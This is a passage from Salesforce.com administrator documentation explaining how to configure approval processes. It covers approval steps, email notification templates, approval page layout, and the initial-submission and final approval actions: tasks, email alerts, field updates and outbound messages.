approval requests automatically routed to a user's manager as specified in the Manager standard user hierarchy field.
Alternatively, you may want approval requests automatically routed to an associate specified in a custom Account Manager
user field.
• To specify a user to approve all approval requests, leave this field blank. You can select a user, or users, as the approver
when creating an approval step.
Caution: If you leave the Next Automated Approver Determined By field blank, you cannot
automatically assign approval requests to the manager in any step you create for this approval process.

• Optionally, select the Use Approver Field of Record Owner checkbox if you want the approval process to use
the Manager standard user field or custom field on the record owner's user record instead of the submitter's user record.
Once you use this setting in a step, and in subsequent steps, it refers to the manager of the approver, not the manager
of the record owner.
Note: Make sure the assigned approver has access to read the records for the approval requests. For example, a
user who does not have read access to an Expenses custom object will not be able to view expense approval requests.

2. Select Administrators ONLY... if you want only users with the “Modify All” object-level permission for the given
object, or the “Modify All Data” permission, to be able to edit records that are pending approval. Select Administrators
OR... if you want the assigned approver to be able to edit the records too. The assigned approver must also have edit
access to the record through both their profile permissions and the organization-wide sharing defaults for the given object.
When a record is submitted for approval, it is automatically locked to prevent other users from editing it during the approval
process.
3. Click Next. If you are editing an existing approval process and do not want to make further changes, click Save to store
your changes.

Select Email Notification Template


When an approval process assigns an approval request to a user, Salesforce.com automatically sends the user an approval request
email. The email contains a link the user can click to access the approval page in Salesforce.com, which lets the user approve
or reject the request and add comments. If email approval response is enabled, the user can alternatively reply to the email by
typing approve, approved, yes, reject, rejected, or no in the first line of the email body, and adding comments
in the second line. This option is especially useful for users who might receive approval requests on a mobile device.

850
Create Managing Approval Processes

1. Choose a custom email template to use when notifying approvers that an approval request is assigned to them, or leave
this field blank to use the default email template. Each approval process uses a single email template for all steps. For more
information on creating email templates, see Managing Email Templates on page 109.
Note: If email approval response is enabled, be sure the email template you use describes how to correctly use both
response options: clicking the link and replying by email. If the user does not respond correctly (for example, if the
user misspells approve or types it on the wrong line), Salesforce.com does not register the user's response.
If the email template you choose contains approval merge fields named {!ApprovalRequest.field_name},
these fields will return values only when that email template is used as the approval assignment template. If you
use the template for any other email alert action—in either workflow rules or approval processes—the merge fields
will return a null value.

2. Click Next. If you are editing an existing approval process and do not want to make further changes, click Save to store
your changes.

Configure Approval Request Page Layout


The approval page is where an approver will approve or reject a request.
1. Select the fields you want to display on the approval request page and click Add.
2. Sort the fields by selecting them and clicking Up or Down.
3. Select Display approval history information... to include the Approval History related list that lists such
fields as Date, Assigned To, Actual Approver, and Comments. To modify the fields displayed on the Approval
History related list, see Customizing Page Layouts on page 620.
4. Select Add Approval History Related List... to update all the page layouts for this object to include a related
list that allows users to submit approval requests and track them.
5. Choose a security setting:
Allow approvers to access the approval page only from within the application
Requires users to log in to Salesforce.com before approving or rejecting an approval request.

Allow approvers to access the approval page only from within the application, or
externally from a wireless-enabled mobile device
Users can approve requests from the email notification they receive via a wireless device. Note that this prevents the
approver from selecting a Salesforce.com user as the next approver.
6. Click Next. If you are editing an existing approval process and do not want to make further changes, click Save to store
your changes.

Specify Initial Submitters


Specify which users are allowed to submit records for approval. For example, choose Owner if expense reports can only be
submitted by record owners.
1. Select a Submitter Type, enter a search term, and click Find.
2. Select from the list of available submitters and click Add.
3. Optionally, select Allow submitters to recall approval requests to give submitters the option to withdraw their approval
requests. If the Allow submitters to recall approval requests option is selected for the approval process, both submitters
and administrators can see the Recall Approval Request button in the Approval History related list on the detail page of
submitted records; otherwise, only administrators can see it. When a user clicks Recall Approval Request, the pending
approval request for the record is withdrawn and recall actions are run. For more information, see Recall Actions on page
874.
This option is useful for situations that can change on the submitter's side while waiting for an approval. For example, an
opportunity might be lost after the user submits it for approval.

851
Create Managing Approval Processes

4. Click Save.

Activate the Approval Process


Activate the process after you have created at least one approval step for the approval process. See Creating Approval Steps
on page 853.
To activate a process:
1. Click Next. If you are editing an existing approval process and do not want to make further changes, click Save to store
your changes.
2. Click Activate next to the process.

See Also:
Getting Started with Approval Processes
Managing Approval Processes
Managing Approval Steps
Customizing Workflow and Approval Settings
Initial Submission Actions
Final Approval Actions
Final Rejection Actions
Recall Actions
Selecting Approval Actions
Creating Approval Actions
Using the Process Visualizer
Approval Process Considerations
Examples of Approval Processes

Managing Approval Steps

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit or delete approval steps: “Customize Application”
To view approval steps: “View Setup and Configuration”

Approval steps assign approval requests to various users and define the chain of approval for a particular approval process.
Each approval step specifies the attributes a record must have to advance to that approval step, the user who can approve
requests for those records, and whether to allow the delegate of the approver to approve the requests. The first approval step
in a process also specifies the action to take if a record does not advance to that step. Subsequent steps in the process also allow
you to specify what happens if an approver rejects the request.
To manage the steps for an approval process, click Setup ➤ Create ➤ Workflow & Approvals ➤ Approval Processes and
then select the approval process.

852
Create Managing Approval Processes

The Approval Steps related list shows all the steps and actions for the approval process.

• If the actions for each step are not listed, click Show Actions to display the Approval Actions and Rejection Actions related
lists. Use these related lists to:

- Click Edit to change an action. Any changes you make to an action affect any other approval processes or workflow
rules that use it. This option is only available for some types of actions.
- Click Remove to remove the action from the approval process. This does not delete the action. This option is only
available for some types of actions.
- Click Add Existing to add another action to the list of actions. See Selecting Approval Actions on page 880.
- Click Add New and select the appropriate type to create a new action and associate it with the approval process. See
Creating Approval Actions on page 881.

• Click Hide Actions to collapse the list of approval steps.


• Click Edit to change the step. For information on approval step attributes, see Creating Approval Steps on page 853.
• Click Del to remove a step. This option is not available when the approval process is active.
• Click New Approval Step to create an additional step. This option is not available when the approval process is active.
See Creating Approval Steps on page 853.

See Also:
Approval Process Terminology
Getting Started with Approval Processes
Using the Process Visualizer
Examples of Approval Processes

Creating Approval Steps

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create approval steps: “Customize Application”

Approval steps assign approval requests to various users and define the chain of approval for a particular approval process.
Each approval step specifies the attributes a record must have to advance to that approval step, the user who can approve
requests for those records, and whether to allow the delegate of the approver to approve the requests. The first approval step
in a process also specifies the action to take if a record does not advance to that step. Subsequent steps in the process also allow
you to specify what happens if an approver rejects the request.
The actions you associate with an approval step can be reused in workflow rules. To create approval steps:

1. Click Setup ➤ Create ➤ Workflow & Approvals ➤ Approval Processes, and select the name of the approval process.
2. Click New Approval Step from the Approval Steps related list. If this button is not available, the approval process is active
and you cannot add more steps. There is a limit of 15 approval steps per approval process.
3. Enter a name, a unique name, and description for this step.

853
Create Managing Approval Processes

Note: The unique name will be used to refer to this specific approval process step in the Force.com API. In
managed packages, this unique name prevents naming conflicts on package installations. The requirement for
uniqueness is only within a specific approval process. You can have two approval process steps with the same unique
name, provided they are defined for different approval processes. The Unique Name field can contain only
underscores and alphanumeric characters. It must be unique within the selected object type, begin with a letter,
not include spaces, not end with an underscore, and not contain two consecutive underscores.

4. Enter a step number that determines the order of this step in relation to the other steps in this approval process.
5. Click Next.
6. If only records with certain attributes should enter this step, select Enter this step if the following... and
choose one of the following options:

• Select criteria are met and set the filter criteria a record must meet to enter this step. For example, if this step
should only apply to records submitted by employees from headquarters, enter the following filter criteria: Current
User: Office Location Equals Headquarters. For more information on using filter criteria, see Entering
Filter Criteria on page 1916.
• Select formula evaluates to true and enter a formula that returns a value of “True” or “False.” Records enter
this step only if the formula returns“True.” For example, use the following formula to require a record to enter this
approval step when the record's discount percentage is greater than the most recent approver's discount threshold:

(Discount_Percentage__c > $User.Discount_Threshold__c)

For information on using formulas, see Building Formulas on page 497. Some functions are not available in approval
step formulas. For information on which functions you can use in approval step formulas, see Operators and Functions
on page 548.

7. If you specified filter criteria or entered a formula, choose what should happen to records that do not meet the criteria or
if the formula does not return “True.”
Note: You cannot change your selection after the approval process has been activated, even if you deactivate the
approval process.

The options are:


approve record
Automatically approves the request and performs all final approval actions.

reject record
Automatically rejects the request and performs all final rejection actions. This option is only available for the first
step in the approval process.

go to next step
Automatically skips this step and goes to the next step.

Important:

• The go to next step option is only available when editing a step that already has an ensuing step. To
select go to next step, create an ensuing step, then select this option in the preceding step.
• The go to next step option is unavailable for the final step in the approval process.

854
Create Managing Approval Processes

• If you select go to next step in a step and delete all the ensuing steps, Salesforce.com automatically
removes the go to next step definition from that step and ends the process if the step criteria are not
met. However, if you select go to next step in your first step and delete all the ensuing steps, Salesforce.com
changes the first step to automatically reject record if the step criteria are not met.
• If you select go to next step in the first step and the record does not meet the criteria for any of the steps
in the approval process, the record is rejected.

8. Click Next.
9. Specify who must approve the approval requests that enter this step. The options are:
Let the submitter choose the approver manually.
Prompts the user to manually select the next approver.

Automatically assign using the user field selected earlier.


Assigns the approval request to the user in the custom field that is displayed next to this option. This custom field
was selected during the configuration of the approval process. See Creating Approval Processes on page 848.

Automatically assign to a queue.


Assigns the approval request to a particular queue. Queues are only available on specific objects. For more information
on queues, see Managing Queues on page 170. For more information on approval requests assigned to queues, see
Approval Process Considerations on page 845.

Automatically assign to approver(s).


Assigns the approval request to one or more of the following:
User
Any Salesforce.com user in your organization.

Related User
A user specified in any user lookup field on the submitted record, such as the Last Modified By field.
Use Add Row and Remove Row to change the number of approvers. There is a limit of 25 approvers per step.

Important: When specifying who must approve the requests in an approval step, note the following:

• Make sure the assigned approvers have permission to read the records for the approval request. For example,
a user who does not have read access to an Expense custom object will not be able to view expense approval
requests.
• You cannot assign approval requests to partner users.
• You cannot use email approval response with an approval process in which a queue is the assigned approver.
• You can assign an approval request to the same user multiple times in a single step; however, Salesforce.com
recognizes such redundancies and only requests a single approval from the user.
• After a record enters an approval step, the designated approvers for that step do not change even if the approval
process returns to that step and the values of related user fields that designate the approvers have changed. For
example, consider an approval process in which the first step requests approval from a user's manager. If the
approval request is rejected in the second step and sent back to the first step, the user's original manager receives
the approval request again even if the user's manager has changed.

10. If you specify multiple approvers in the Automatically assign to approver(s) option, choose one of the following:

855
Create Managing Approval Processes

Approve or reject based on the first response.


The first response to the approval request determines whether the record is approved or rejected.

Require unanimous approval from all selected approvers.


The record is only approved if all of the approvers approve the request. The approval request is rejected if any of the
approvers reject the request.
11. Optionally, select The approver's delegate may also approve this request. A delegate is the user listed
in the Delegated Approver field on the assigned approver's user detail page. Delegated approvers cannot reassign
approval requests; they can only approve or reject approval requests.
12. If this is not the first step in the approval process, specify what you want to happen when the approver rejects a request in
this step:
Perform all rejection actions...
Automatically rejects the request completely regardless of any previous steps that were approved. Salesforce.com
performs all rejection actions specified for this step and all final rejection actions.

Perform ONLY the rejection actions for this step...


Automatically rejects the request and returns the approval request to the previous approver. Salesforce.com performs
all rejection actions specified for this step.

Note: If this is the first step in an approval process, the rejection behavior is determined by the Final Rejection
Actions for the approval process.

13. Click Save.


14. Specify any workflow actions you want to occur during this step:
Yes, I'd like to create a new approval action...
Select the type of action and click Go! to begin creating an action and associate it with this approval step.

Yes, I'd like to create a new rejection action...


Select the type of action and click Go! to begin creating an action and associate it with this approval step.

No, I'll do this later...


Select this option and click Go! to view the details of the approval process.

Approval actions execute when a record in this step of the approval process is approved. Rejection actions execute when a
record in this step is rejected. For instructions on adding actions, see Selecting Approval Actions on page 880 and Creating
Approval Actions on page 881.

856
Create Managing Approval Processes

15. Optionally, add additional approval actions and rejection actions to the step. Click Show Actions next to a step to view
the Approval Actions and Rejection Actions related lists.

See Also:
Approval Process Terminology
Getting Started with Approval Processes
Managing Approval Steps
Managing Approval Processes
Using the Process Visualizer
Examples of Approval Processes

Initial Submission Actions

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or edit initial submission actions: “Customize Application”

Initial submission actions are the actions that occur when a user first submits a record for approval. By default, an action to
lock the record runs automatically on initial submission. Initial submission actions can include any approval actions such as
email alerts, field updates, tasks, or outbound messages. For example, an initial submission action can update a custom approval
status field to “In Progress.”
When a user submits a record for approval, Salesforce.com sends an approval request email to the approver as defined in the
approval step, and then executes a default initial submission action called Record Lock. You can select up to 40 additional
actions to occur when a record is initially submitted for approval, 10 of each of the following types:

Type Description
Task Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and
Due Date of the task.

Email Alert Uses an email template you specify to send an email to a designated recipient.
Field Update Changes the value of a selected field. You can specify a value or create a formula for the new
value.
Outbound Message Sends a message to an endpoint you designate. You can also specify a username and the data
you want to include in the message.

To manage the initial submission actions for an approval process, click Setup ➤ Create ➤ Workflow & Approvals ➤
Approval Processes and select the approval process.
The Initial Submission Actions related list shows all the actions that take place when a record is submitted for approval.

857
Create Managing Approval Processes

• Click Edit to change an action. Any changes you make to an action affect any other approval processes or workflow rules
that use it. This option is only available for some types of actions.
• Click Remove to remove the action from the approval process. This does not delete the action. This option is only available
for some types of actions.
• Click Add Existing to add another action to the list of actions. See Selecting Approval Actions on page 880.
• Click Add New and select the appropriate type to create a new action and associate it with the approval process. Next,
configure the action:
For email alerts:

1. Enter a description for this email alert.


2. Enter a unique name to refer to this component in the Force.com API and to prevent naming conflicts for
managed package installations. The requirement for uniqueness is only within the selected object type. You can
have actions of the same type (for example, two email alerts) with the same unique name, provided they are
defined for different objects, such as one for Campaigns and one for Opportunities. The Unique Name field
can contain only underscores and alphanumeric characters. It must be unique within the selected object type,
begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
3. If available, choose the object for this email alert.
Salesforce.com uses this object when generating merge field values for email templates with workflow rules and
approval processes. Also, you can define the recipients of this email alert using contact and user lookup fields that
are relevant to that object. For example, if you select Contract, you can define the contract signer as a recipient.
The object is read only if the new email alert is associated with an approval process or workflow rule for a particular
object.
Tip: To create workflow rules for case comments so that comments added to cases send email alerts
when a rule is triggered, select Case Comment in the Object drop-down list when creating a new
workflow rule.

4. Choose an email template.


Note: If the email template you choose contains approval merge fields named
{!ApprovalRequest.field_name}, these fields will return values only when that email template is
used as the approval assignment template. If you use the template for any other email alert action—in
either workflow rules or approval processes—the merge fields will return a null value.

5. Check the Protected Component check box to mark the alert as protected.
6. Select the type of recipient who you want to receive this email alert. The options are:

- Account Owner—The user listed as the account owner of either the account itself or the account associated
with the record. This option only works for email alerts on accounts, opportunities, cases, contacts, contracts,
and any custom object that is a child of the account object. Also, an account owner must be specified for the
associated account. If you select another type of object or the associated account does not have an account
owner, Salesforce.com sends the email alert to the record owner instead.
- Account Team—All users assigned to a particular account team role.

Note: The Account Team option is always available; however, emails are only sent when the rule
is associated with the account object or any of its immediate child objects.

- Case Team—All users assigned to a particular case team role.

858
Create Managing Approval Processes

- Creator—The user who created the record.


- Customer Portal User—All users associated with a Customer Portal.
- Email Field—An email address field on the selected object, such as the Email field on lead records or
custom email fields.
Note: When creating email alerts for campaign members, Email Field refers to the email field on
the lead or contact that the campaign member is based on.

- Owner—The record owner.


- Partner User—All users associated with a partner portal.
- Portal Role—All users assigned to a particular portal role.
- Portal Role and Subordinates—All users assigned to a particular portal role, plus all users in roles
below that role.
- Public Groups—The users in a particular public group.
- Related Contact—An associated contact on the record. For example, you can select the Customer
Signed By field for contracts that contains the name of the contact that signed the contract.
- Related User—An associated user on the record. For example, contract records have an Activated By
field that contains the name of the user that activated the contract.
- Role—All of the users assigned a particular role.
- Role and Internal Subordinates—All users in a particular role, plus all users in roles below that role,
excluding partner portal and Customer Portal users.
- Role and Subordinates—All users in a particular role, plus all users in roles below that role.
- Users—A particular user.
- Sales Team—A member of the sales team.

Note: The Sales Team option is always available; however, it only works for email alerts configured
for opportunities. It does not work for email alerts configured for child objects of opportunities.

The recipients that match your search results appear in the Available Recipients list.
7. Select the recipients who you want to receive this email alert in the Available Recipients list and click Add to add
them to the Selected Recipients list.
Note: If you change the object after selecting recipients, Salesforce.com clears the Selected Recipients
list.

8. Optionally, enter up to five additional email addresses.


9. Optionally, change the From Email Address to a previously configured and verified organization-wide address.
This allows you to use a standard global email address for your organization (such as support@company.com)
instead of the default From field, which is the email address of the person who updates the record.
Only verified organization-wide email addresses display in the From Email Address picklist.
Note: If you select Make this the default From email address for this object's email alerts, it overrides
the From Email Address for all email alerts associated with that object. Upon saving, a dialog box
prompts you to confirm your selection. You can still customize individual email alerts to use a different
From Email Address.

859
Create Managing Approval Processes

10. Click Save.

For field updates:

1. Enter a name for this field update.


2. Enter a unique name to refer to this component in the Force.com API and to prevent naming conflicts for
managed package installations. The requirement for uniqueness is only within the selected object type. You can
have actions of the same type (for example, two email alerts) with the same unique name, provided they are
defined for different objects, such as one for Campaigns and one for Opportunities. The Unique Name field
can contain only underscores and alphanumeric characters. It must be unique within the selected object type,
begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
3. Enter a description for this field update.
4. Define the field update, including the object associated with the workflow rule or approval process, the field to
update, and the value to apply. Note that the field to update may be on a related object in a master-detail
relationship. Fields are shown only for the target object that you select.
Tip: To create workflow rules for case comments or email messages so that case comments or emails
automatically update fields on associated cases, select Case Comment or Email Message in the Object
drop-down list when creating a new workflow rule and select Case in the Field to Update list.
Email-to-Case or On-Demand Email-to-Case must be enabled for your organization to use Email
Message in a workflow rule.
When cases are updated by an email-triggered workflow rule, the updated case can trigger:

- Workflow rules
- Validation rules
- Updates to roll-up summary fields
- Escalation rules
- Apex triggers

The update case cannot trigger:

- Assignment rules
- Auto-response rules

5. Check the Protected Component check box to mark the field update as protected. For more information, see
Protected Components on page 916.
6. Specify the new field value. The available options depend on the type of field you are updating. You can:

- Choose A specific value, and enter the value in the space provided.
- Choose A blank value (null) if you want Salesforce.com to remove any existing value and leave the
field blank. This option is not available for required fields, checkboxes, and some other types of fields.
- For record owners, choose the user to whom the record should be assigned. For case, lead, and custom object
records, you can also choose a queue for this field. Optionally, select Notify Assignee to send an email
to the new record owner.
- For checkboxes, choose True to select the checkbox and False to deselect it.
- For picklists, select a specific value from the drop-down list, or select the value above or below the current
value based on the sorting specified in the picklist definition. If you sort values alphabetically, the values above
or below may be different for users in other languages.

860
Create Managing Approval Processes

- Choose Use a formula to set the new value to calculate the value based on an expression, merge
fields, or other values.

a. If you are building a formula in the Advanced Formula tab or for approvals or rules, such as workflow,
validation, assignment, auto-response, or escalation, click Insert Field, choose a field, and click Insert.
To create a basic formula that passes specific Salesforce.com data, select the Simple Formula tab, choose
the field type in the Select Field Type drop-down list, and choose one of the fields listed in the
Insert Field drop-down list.

Tip: Build cross-object formulas to span to related objects and reference merge fields on those
objects.

b. To insert case merge fields so that email messages update the associated case fields, click Insert Field on
the Rule Criteria section and choose Email Message > Parent Case.
c. To insert an operator, choose the appropriate operator icon from the Insert Operator drop-down list.
Use the examples in Operators and Functions on page 548.
d. Optionally, insert a function from the Functions list. Functions are pre-built formulas that you can
customize with your input parameters. See Operators and Functions on page 548 for a description of each
operator and function.

7. Click Save.

For outbound messages:

1. Enter a name for this outbound message.


2. Enter a unique name to refer to this component in the Force.com API and to prevent naming conflicts for
managed package installations. The requirement for uniqueness is only within the selected object type. You can
have actions of the same type (for example, two email alerts) with the same unique name, provided they are
defined for different objects, such as one for Campaigns and one for Opportunities. The Unique Name field
can contain only underscores and alphanumeric characters. It must be unique within the selected object type,
begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
3. Enter a description for this outbound message.
4. Enter an endpoint URL for the recipient of the message. Salesforce.com sends a SOAP message to this endpoint.
5. Select the Salesforce.com user to use when sending the message. The chosen user controls data visibility for the
message that is sent to the endpoint.
6. Check the Protected Component check box to mark the outbound message as protected. For more information,
see Protected Components on page 916.
7. Select Send Session ID if you want the Salesforce.com session ID included in the outbound message. Include
the session ID in your message if you intend to make API calls and you do not want to include a username and
password. Sending a username and password is less secure than sending a session ID.
8. Select Add failures to failed outbound message related list if you want this message to move
to the failed outbound messages related list after all retries have been attempted. If you do not see this option,
failed outbound messages notifications have not been enabled for your organization. Contact your salesforce.com
representative.
9. Select the fields you want included in the outbound message and click Add.

861
Create Managing Approval Processes

For tasks:

1. Select an assignee. An assignee can be in the form of a user, role, record owner, record creator, sales team role,
or account team role depending on the type of record you chose.
Note:

- If the assignee of a task is set to the record owner and the owner of a lead or case is a queue, the person
who triggered the rule is assigned the task.
- If the subject was translated, Salesforce.com creates the task in the assignee's language. If the subject
was translated, and if you checked Notify Assignee for the task, Salesforce.com sends the email in the
assignee's language. However, if only the comments field was translated, Salesforce.com creates the
task and sends the email in the language of the user who triggered the task.
- If a custom object has a master-detail relationship with a standard object, the owner of the custom
object record is automatically set to the owner of the master standard object record. For example, if a
custom object called “Expenses” has a master-detail relationship with Accounts, the owner of each
expense record is the owner of the account for the expense.
- If the assignee of a workflow task is a role and more than one user belongs to that role, the record
owner becomes the task assignee, regardless of his or her role. We recommend that you do not assign
tasks to roles with multiple users. Assigning tasks to roles with one user allows you to easily change
the user in that role without modifying the workflow rule.
- If a lead is converted by someone who isn't the lead owner, all workflow tasks associated with the lead,
except email alerts, are reassigned to the lead owner.

2. Enter a subject for the task.


3. Enter a unique name to refer to this component in the Force.com API and to prevent naming conflicts for
managed package installations. The requirement for uniqueness is only within the selected object type. You can
have actions of the same type (for example, two email alerts) with the same unique name, provided they are
defined for different objects, such as one for Campaigns and one for Opportunities. The Unique Name field
can contain only underscores and alphanumeric characters. It must be unique within the selected object type,
begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
4. Choose a due date, status, and priority. Due dates appear in the time zone of the assignee.
5. Check Notify Assignee to send an email notification when the task is assigned.
6. Check the Protected Component check box to mark the task as protected. For more information, see Protected
Components on page 916.
7. Enter any comments to add to the task.
8. Click Save.

See Also:
Approval Process Terminology
Getting Started with Approval Processes
Managing Approval Steps
Managing Approval Processes
Using the Process Visualizer

862
Create Managing Approval Processes

Final Approval Actions

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or edit final approval actions: “Customize Application”

Final approval actions are the actions that occur when all required approvals have been given for a record. Final approval actions
can include email alerts, field updates, tasks, or outbound messages. For example, a final approval action can change the status
to “Approved” and send an email notification.
When a record has been approved by all approvers, Salesforce.com executes all final approval actions. A default final approval
action called Record Lock is selected for you. You can modify it to automatically lock or unlock the record. You can select up
to 40 additional actions to occur when a record is finally approved, 10 of each of the following types:

Type Description
Task Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and
Due Date of the task.

Email Alert Uses an email template you specify to send an email to a designated recipient.
Field Update Changes the value of a selected field. You can specify a value or create a formula for the new
value.
Outbound Message Sends a message to an endpoint you designate. You can also specify a username and the data
you want to include in the message.

To manage the final approval actions for an approval process, click Setup ➤ Create ➤ Workflow & Approvals ➤ Approval
Processes, and select the approval process.
The Final Approval Actions related list shows all the actions that take place when a record is finally approved.

• Click Edit to change an action. Any changes you make to an action affect any other approval processes or workflow rules
that use it. This option is only available for some types of actions.
• Click Remove to remove the action from the approval process. This does not delete the action. This option is only available
for some types of actions.
• Click Add Existing to add another action to the list of actions. See Selecting Approval Actions on page 880.
• Click Add New and select the appropriate type to create a new action and associate it with the approval process. Next,
configure the action:
For email alerts:

1. Enter a description for this email alert.


2. Enter a unique name to refer to this component in the Force.com API and to prevent naming conflicts for
managed package installations. The requirement for uniqueness is only within the selected object type. You can
have actions of the same type (for example, two email alerts) with the same unique name, provided they are
defined for different objects, such as one for Campaigns and one for Opportunities. The Unique Name field

863
Create Managing Approval Processes

can contain only underscores and alphanumeric characters. It must be unique within the selected object type,
begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
3. If available, choose the object for this email alert.
Salesforce.com uses this object when generating merge field values for email templates with workflow rules and
approval processes. Also, you can define the recipients of this email alert using contact and user lookup fields that
are relevant to that object. For example, if you select Contract, you can define the contract signer as a recipient.
The object is read only if the new email alert is associated with an approval process or workflow rule for a particular
object.
Tip: To create workflow rules for case comments so that comments added to cases send email alerts
when a rule is triggered, select Case Comment in the Object drop-down list when creating a new
workflow rule.

4. Choose an email template.


Note: If the email template you choose contains approval merge fields named
{!ApprovalRequest.field_name}, these fields will return values only when that email template is
used as the approval assignment template. If you use the template for any other email alert action—in
either workflow rules or approval processes—the merge fields will return a null value.

5. Check the Protected Component check box to mark the alert as protected.
6. Select the type of recipient who you want to receive this email alert. The options are:

- Account Owner—The user listed as the account owner of either the account itself or the account associated
with the record. This option only works for email alerts on accounts, opportunities, cases, contacts, contracts,
and any custom object that is a child of the account object. Also, an account owner must be specified for the
associated account. If you select another type of object or the associated account does not have an account
owner, Salesforce.com sends the email alert to the record owner instead.
- Account Team—All users assigned to a particular account team role.

Note: The Account Team option is always available; however, emails are only sent when the rule
is associated with the account object or any of its immediate child objects.

- Case Team—All users assigned to a particular case team role.


- Creator—The user who created the record.
- Customer Portal User—All users associated with a Customer Portal.
- Email Field—An email address field on the selected object, such as the Email field on lead records or
custom email fields.
Note: When creating email alerts for campaign members, Email Field refers to the email field on
the lead or contact that the campaign member is based on.

- Owner—The record owner.


- Partner User—All users associated with a partner portal.
- Portal Role—All users assigned to a particular portal role.
- Portal Role and Subordinates—All users assigned to a particular portal role, plus all users in roles
below that role.
- Public Groups—The users in a particular public group.

864
Create Managing Approval Processes

- Related Contact—An associated contact on the record. For example, you can select the Customer
Signed By field for contracts that contains the name of the contact that signed the contract.
- Related User—An associated user on the record. For example, contract records have an Activated By
field that contains the name of the user that activated the contract.
- Role—All of the users assigned a particular role.
- Role and Internal Subordinates—All users in a particular role, plus all users in roles below that role,
excluding partner portal and Customer Portal users.
- Role and Subordinates—All users in a particular role, plus all users in roles below that role.
- Users—A particular user.
- Sales Team—A member of the sales team.

Note: The Sales Team option is always available; however, it only works for email alerts configured
for opportunities. It does not work for email alerts configured for child objects of opportunities.

The recipients that match your search results appear in the Available Recipients list.
7. Select the recipients who you want to receive this email alert in the Available Recipients list and click Add to add
them to the Selected Recipients list.
Note: If you change the object after selecting recipients, Salesforce.com clears the Selected Recipients
list.

8. Optionally, enter up to five additional email addresses.


9. Optionally, change the From Email Address to a previously configured and verified organization-wide address.
This allows you to use a standard global email address for your organization (such as support@company.com)
instead of the default From field, which is the email address of the person who updates the record.
Only verified organization-wide email addresses display in the From Email Address picklist.
Note: If you select Make this the default From email address for this object's email alerts, it overrides
the From Email Address for all email alerts associated with that object. Upon saving, a dialog box
prompts you to confirm your selection. You can still customize individual email alerts to use a different
From Email Address.

10. Click Save.

For field updates:

1. Enter a name for this field update.


2. Enter a unique name to refer to this component in the Force.com API and to prevent naming conflicts for
managed package installations. The requirement for uniqueness is only within the selected object type. You can
have actions of the same type (for example, two email alerts) with the same unique name, provided they are
defined for different objects, such as one for Campaigns and one for Opportunities. The Unique Name field
can contain only underscores and alphanumeric characters. It must be unique within the selected object type,
begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
3. Enter a description for this field update.
4. Define the field update, including the object associated with the workflow rule or approval process, the field to
update, and the value to apply. Note that the field to update may be on a related object in a master-detail
relationship. Fields are shown only for the target object that you select.

865
Create Managing Approval Processes

Tip: To create workflow rules for case comments or email messages so that case comments or emails
automatically update fields on associated cases, select Case Comment or Email Message in the Object
drop-down list when creating a new workflow rule and select Case in the Field to Update list.
Email-to-Case or On-Demand Email-to-Case must be enabled for your organization to use Email
Message in a workflow rule.
When cases are updated by an email-triggered workflow rule, the updated case can trigger:

- Workflow rules
- Validation rules
- Updates to roll-up summary fields
- Escalation rules
- Apex triggers

The update case cannot trigger:

- Assignment rules
- Auto-response rules

5. Check the Protected Component check box to mark the field update as protected. For more information, see
Protected Components on page 916.
6. Specify the new field value. The available options depend on the type of field you are updating. You can:

- Choose A specific value, and enter the value in the space provided.
- Choose A blank value (null) if you want Salesforce.com to remove any existing value and leave the
field blank. This option is not available for required fields, checkboxes, and some other types of fields.
- For record owners, choose the user to whom the record should be assigned. For case, lead, and custom object
records, you can also choose a queue for this field. Optionally, select Notify Assignee to send an email
to the new record owner.
- For checkboxes, choose True to select the checkbox and False to deselect it.
- For picklists, select a specific value from the drop-down list, or select the value above or below the current
value based on the sorting specified in the picklist definition. If you sort values alphabetically, the values above
or below may be different for users in other languages.
- Choose Use a formula to set the new value to calculate the value based on an expression, merge
fields, or other values.

a. If you are building a formula in the Advanced Formula tab or for approvals or rules, such as workflow,
validation, assignment, auto-response, or escalation, click Insert Field, choose a field, and click Insert.
To create a basic formula that passes specific Salesforce.com data, select the Simple Formula tab, choose
the field type in the Select Field Type drop-down list, and choose one of the fields listed in the
Insert Field drop-down list.

Tip: Build cross-object formulas to span to related objects and reference merge fields on those
objects.

b. To insert case merge fields so that email messages update the associated case fields, click Insert Field on
the Rule Criteria section and choose Email Message > Parent Case.
c. To insert an operator, choose the appropriate operator icon from the Insert Operator drop-down list.
Use the examples in Operators and Functions on page 548.

866
Create Managing Approval Processes

d. Optionally, insert a function from the Functions list. Functions are pre-built formulas that you can
customize with your input parameters. See Operators and Functions on page 548 for a description of each
operator and function.

7. Click Save.

For outbound messages:

1. Enter a name for this outbound message.


2. Enter a unique name to refer to this component in the Force.com API and to prevent naming conflicts for
managed package installations. The requirement for uniqueness is only within the selected object type. You can
have actions of the same type (for example, two email alerts) with the same unique name, provided they are
defined for different objects, such as one for Campaigns and one for Opportunities. The Unique Name field
can contain only underscores and alphanumeric characters. It must be unique within the selected object type,
begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
3. Enter a description for this outbound message.
4. Enter an endpoint URL for the recipient of the message. Salesforce.com sends a SOAP message to this endpoint.
5. Select the Salesforce.com user to use when sending the message. The chosen user controls data visibility for the
message that is sent to the endpoint.
6. Check the Protected Component check box to mark the outbound message as protected. For more information,
see Protected Components on page 916.
7. Select Send Session ID if you want the Salesforce.com session ID included in the outbound message. Include
the session ID in your message if you intend to make API calls and you do not want to include a username and
password. Sending a username and password is less secure than sending a session ID.
8. Select Add failures to failed outbound message related list if you want this message to move
to the failed outbound messages related list after all retries have been attempted. If you do not see this option,
failed outbound messages notifications have not been enabled for your organization. Contact your salesforce.com
representative.
9. Select the fields you want included in the outbound message and click Add.

For tasks:

1. Select an assignee. An assignee can be in the form of a user, role, record owner, record creator, sales team role,
or account team role depending on the type of record you chose.
Note:

- If the assignee of a task is set to the record owner and the owner of a lead or case is a queue, the person
who triggered the rule is assigned the task.
